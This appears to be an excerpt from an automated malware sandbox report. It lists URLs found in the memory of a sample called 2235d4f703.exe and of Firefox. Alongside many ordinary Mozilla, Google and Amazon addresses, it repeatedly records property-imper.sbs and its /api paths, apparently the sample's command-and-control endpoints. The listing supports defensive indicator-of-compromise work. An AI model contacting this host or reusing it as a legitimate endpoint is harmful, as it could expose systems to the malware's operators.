Source: 2235d4f703.exe, 00000009.00000003.2629911709.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2690149130.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2692244836.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2689623976.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2689107439.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684931089.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685083573.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2688197199.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2689461786.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685489848.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2691008602.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686690326.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686127655.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686379519.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2689292480.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686826837.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684618829.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2657928655.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2738474191.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2691890013.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: 2235d4f703.exe, 00000009.00000003.2629461937.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/3
Source: 2235d4f703.exe, 0000000B.00000003.3002269447.00000000013E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/5
Source: 2235d4f703.exe, 00000009.00000003.2629911709.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2657928655.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2656642315.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629461937.0000000001235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/7C
Source: 2235d4f703.exe, 00000009.00000003.2629911709.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629461937.0000000001235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/OC
Source: 2235d4f703.exe, 00000009.00000003.2656642315.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2657928655.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/QQk
Source: 2235d4f703.exe, 0000000B.00000003.2758910159.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2759992832.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/Shsw
Source: 2235d4f703.exe, 00000009.00000003.2793038580.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2715582287.0000000001235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/WC
Source: 2235d4f703.exe, 0000000B.00000003.2872481294.0000000001409000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2846507995.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3006270290.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 2235d4f703.exe, 0000000B.00000003.3009828676.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api3
Source: 2235d4f703.exe, 00000009.00000003.2684773955.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684618829.0000000001240000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684409963.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiF
Source: 2235d4f703.exe, 0000000B.00000003.3002813792.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3006270290.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiMIk
Source: 2235d4f703.exe, 00000009.00000003.2656642315.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629911709.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629461937.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apie
Source: 2235d4f703.exe, 00000009.00000003.2688046289.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686826837.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685819613.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687374958.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685489848.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2656642315.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687234574.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687820469.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2715582287.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684931089.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684409963.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2688360776.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685083573.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685660579.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684773955.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687687305.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686379519.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686690326.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687023350.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2657928655.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apirosoft
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2793038580.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2738474191.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apite
Source: 2235d4f703.exe, 00000009.00000003.2859413026.0000000001256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiv85gj3fO3m
Source: 2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2738474191.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2793038580.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2715582287.0000000001235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/psPATHEXT=.COM;.EXE;.BA
Source: 2235d4f703.exe, 00000009.00000003.2738474191.0000000001235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000019.00000002.3027734740.000002348AC27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.js
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.js/shims/adsafeprotected-ima.jsWeb
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000019.00000003.2851793523.000002348D959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000003.2851793523.000002348D9F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000019.00000003.2809217950.0000023495930000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.0000023495583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000003.2809646575.000002349591E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000003.2809646575.000002349591E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: 2235d4f703.exe, 00000009.00000003.2603852920.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734763137.0000000005B53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000019.00000002.3045686159.000002348B765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2843555882.000002348E8C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/ContentPrefServiceChild.sys
Source: 2235d4f703.exe, 0000000B.00000003.2789180940.0000000005C10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000019.00000003.2848449096.000002348E7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 2235d4f703.exe, 00000009.00000003.2603962123.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629621573.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629288194.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2603852920.00000000058B0000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2758244772.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734985175.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2759070129.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734763137.0000000005B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 2235d4f703.exe, 00000009.00000003.2603962123.0000000005884000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734985175.0000000005B25000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000001A.00000003.2851568099.0000000005952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 2235d4f703.exe, 00000009.00000003.2603962123.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629621573.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629288194.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2603852920.00000000058B0000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2758244772.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734985175.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2759070129.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734763137.0000000005B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 2235d4f703.exe, 00000009.00000003.2603962123.0000000005884000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734985175.0000000005B25000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000001A.00000003.2851568099.0000000005952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2799950747.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000019.00000002.2972813755.000002348A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2851793523.000002348D9F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/main/anti-tracking-url-decorationchrome://browser
Source: firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3027734740.000002348ACE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
